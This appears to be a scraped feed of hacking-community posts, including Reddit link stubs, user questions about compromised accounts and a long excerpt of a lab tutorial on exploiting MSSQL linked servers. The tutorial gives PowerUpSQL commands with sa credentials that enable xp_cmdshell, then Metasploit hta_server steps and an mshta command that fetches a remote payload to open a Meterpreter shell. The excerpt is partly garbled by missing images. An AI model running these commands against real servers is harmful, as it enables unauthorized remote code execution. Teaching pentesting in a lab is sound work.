Facebook Gaming valid bug closed as “Informative”.

Hello people.Continue reading on Medium »
Read more...

HoneyFarm Bug Bounty Program

Bug Bounty hosted by HoneyFarm & ImmuneFiContinue reading on Medium »
Read more...

hacking: security in practice
Container Host Breakout - Part 1

Understand how the docker demon running on the remote system or managed service like portainer could be a security risk that should be avoided to prevent the entire infrastructure.

https://tbhaxor.com/container-host-breakout-part-1/

submitted by /u/tbhaxor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How great would it be if someone would hack a scamming company like viagogo?

What else is left to do if the law does not protect you? Law making fell behind while the online lifestyle advanced. People taking advantage of this and scam and get rich, while consumers are left in the dust? Vigilance feels like the last resort. Thoughts?

submitted by /u/allesforscherin
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Local hacking

How do I make sure nobody can have acces to my accounts? I'm starting to think I have some extremely sad person who's hacked me the reason it's extremely sad is because I'm mentally ill and don't have much money so it's a bullying type of situation I find my Reddit on community's I've never visited and my suggested videos on YouTube are like someone's been creeping is there a tool I can use to clarify that I have been hacker or it's just my mind? Thanks

submitted by /u/Environmental_Thing5
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Container Host Breakout - Part 2

I couldn't wait any longer to post the second part of Container Host Breakout. So, here is part 2 of container host breakout where you will learn how to interact with low-level APIs and other OCI tools like containerd to escalate to the root user.

https://tbhaxor.com/container-host-breakout-part-2/

submitted by /u/tbhaxor
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Notorious hacker group Evil Corp's methods have changed considerably over the years, as it gradually evolved into an exceptionally sophisticated cybercrime outfit. Now, it appears to have morphed into a mercenary-espionage organization controlled by Russian Intelligence.

https://external-preview.redd.it/w0BslDg0fWvj4vrLUyVuiuCr6NMHePG2BBlEVt_-zT4.jpg?width=640&crop=smart&auto=webp&s=e0f63420e48ce003ed7d3899d21e1743327b3555 submitted by /u/tryingnewnow
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

https://b.thumbs.redditmedia.com/GXHQLE03IYBf39DYQcLlrtibEmHR6Mf4no8Yd7E-Cdg.jpg I woke up to a bunch of likes on this post on my own insta profile that I never made. Surprised, how can someone post this using my account? It even had a few likes from my friends and I asked them to see if the likes were automated too. But no, the likes were made by them and only the post was done by someone else

I checked my login activity and there was nothing suspicious. My account is logged in using two devices. My computer and my mobile. Around the time of this post, my computer was turned off.

Does this mean my phone is compromised? I'm still shocked how can someone post this! Any hlep would be appreciated

​

https://preview.redd.it/nxr94950gvm71.png?width=406&format=png&auto=webp&s=5abab9f370d7b4c9b938c60278715129fd84e0d3

submitted by /u/PristineSituation8
[link] [comments]

hacking: security in practice
Bug hunting

I have no experience with hacking but I wanna learn bug hunting. Where should I start learning how to bug hunting? Or better yet where should I start?

submitted by /u/DonYayFromTheBay-A
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Re-Inventing the Hacker Scene and the Information Security Industry Using VR


Continue reading on Medium »

Hacking on Medium
My Journey to OSCP


Continue reading on Medium »

Hacking on Medium
The Art of Malware Development


by 0xSN1PE

Continue reading on Medium »

Hacking on Medium
Pathfinder has been Pwned!


This box was a lot of fun and straight forward thanks to the walkthrough from h4rithd. Yes, I’m using walkthroughs… Honestly though, a lot…

Continue reading on Medium »

Hacking Articles|Raj Chandel's BlogMSSQL for Pentester: Abusing Linked Database
 MSSQL for Pentester: Abusing Linked Database

This article is another addition to our MSSQL for Pentesters series. In this article, we will learn how to create a linked server and exploit it. Introduction to Link Servers

A linked server acts a bridge between two servers. Through a link server database can be viewed/shared/edited by two or more servers that has access to the said database. Data from tables can be joined together and queried through it. Linked Servers are designed for applications that need more flexibility over how data is stored and retrieved. Whether the application uses parallel processing, random queries, or joins between multiple Microsoft Access files, a Linked Server provides a better platform for flexible application development. Data from multiple sources can be added to one table or appended to existing data. You can use a Linked Server in place of an ordinary table like you might do when you make a copy of an existing database table.  Following things can be done via a Link Server:Lab Set-Up

 

We will first set up a link server.  When the MSSQL server is installed, a default server is created on its own. But we need another server so that we can link both of them. So, to create another server, launch the installation process and choose New SQL Server Stand-alone installation or and add features to an existing installationas shown in the image below:Nextbutton as shown in the image below:Perform a new installation of SQL Server 2016and then click on the Nextbutton as shown in the image below:Nextbutton as  shown in the image below:Nextbutton as shown in the image below:Server Configurationdialogue box, make sure the startup is automatic, and then click on the Nextbutton as shown in the image below:Database Engine Configurationdialogue box, select Mixed Modeunder Authentication Modeand give the password f[...]

___________________________
@hacking_Attack
@Hacking_Video

or your server. Click on the Next button as shown in the image below:Closebutton as the installation is now complete; just like shown in the image below:option in the drop-down menu of Authenticationas shown in the image below:OKbutton as shown in the image below:server>Servere Objects>Linked Servers. Right-click on Linked Servers and choose New Linked Server…option from the drop-down menu as shown in the image below:Server Type,choose the Other data source. Choose Microsoft OLE DB Provider from SQL Serverfrom the drop-down menu of Provider. Give your default server as the data source and give the database name in the Catalog. Finally, click on the OKbutton as shown in the image below:RPC and RPC Outare true, as shown in the image below:Exploiting Link Server

 

Enumeration

 

Now our link server is up and ready. As an attacker, we know nothing about the server. So, to enumerate the link server, we will use PowerUpSQL and its following command:Import-Module .\PowerUpSQL.ps1

Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Verbose

 









 

As you can see in the image above, we have instance name, linked server name, and catalog name, among other helpful information. Gaining Access to Linked Server

 

PowerUpSQL & Metasploit

 

Now, to remotely gain access to the linked server, we will use PowerUpSQL and Metasploit. These two tools have proved to be the best tools when it comes to attacking MSSQL Servers.surface area configuration and confirm that XPCmdshell is disabled, as shown in the image below:Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;')"

 






 

 

Now that XPCmdshell is enabled, we will use Metasploit to generate a URL with the hta_server exploit, and for this use the following set of commands: 

use exploit/windows/misc/hta_server

set srvhost eth0

exploit

 











 

We have our URL. Now, we will execute this URL via PowerUpSQL so that we can have our Meterpreter session. To deploy the said URL, use the following command:Get-SQLServerLinkCrawl -Username sa -Password Password@1 -Instance WIN-P83OS778EQK\SQLEXPRESS -Query "exec master..xp_cmdshell 'mshta.exe http://192.168.1.2:8080/ugfFOJBvO.hta'"

 




[...]

___________________________
@hacking_Attack
@Hacking_Video

Once the command is executed successfully, we will have our meterpreter session as shown in the image below:___________________________
@hacking_Attack
@Hacking_Video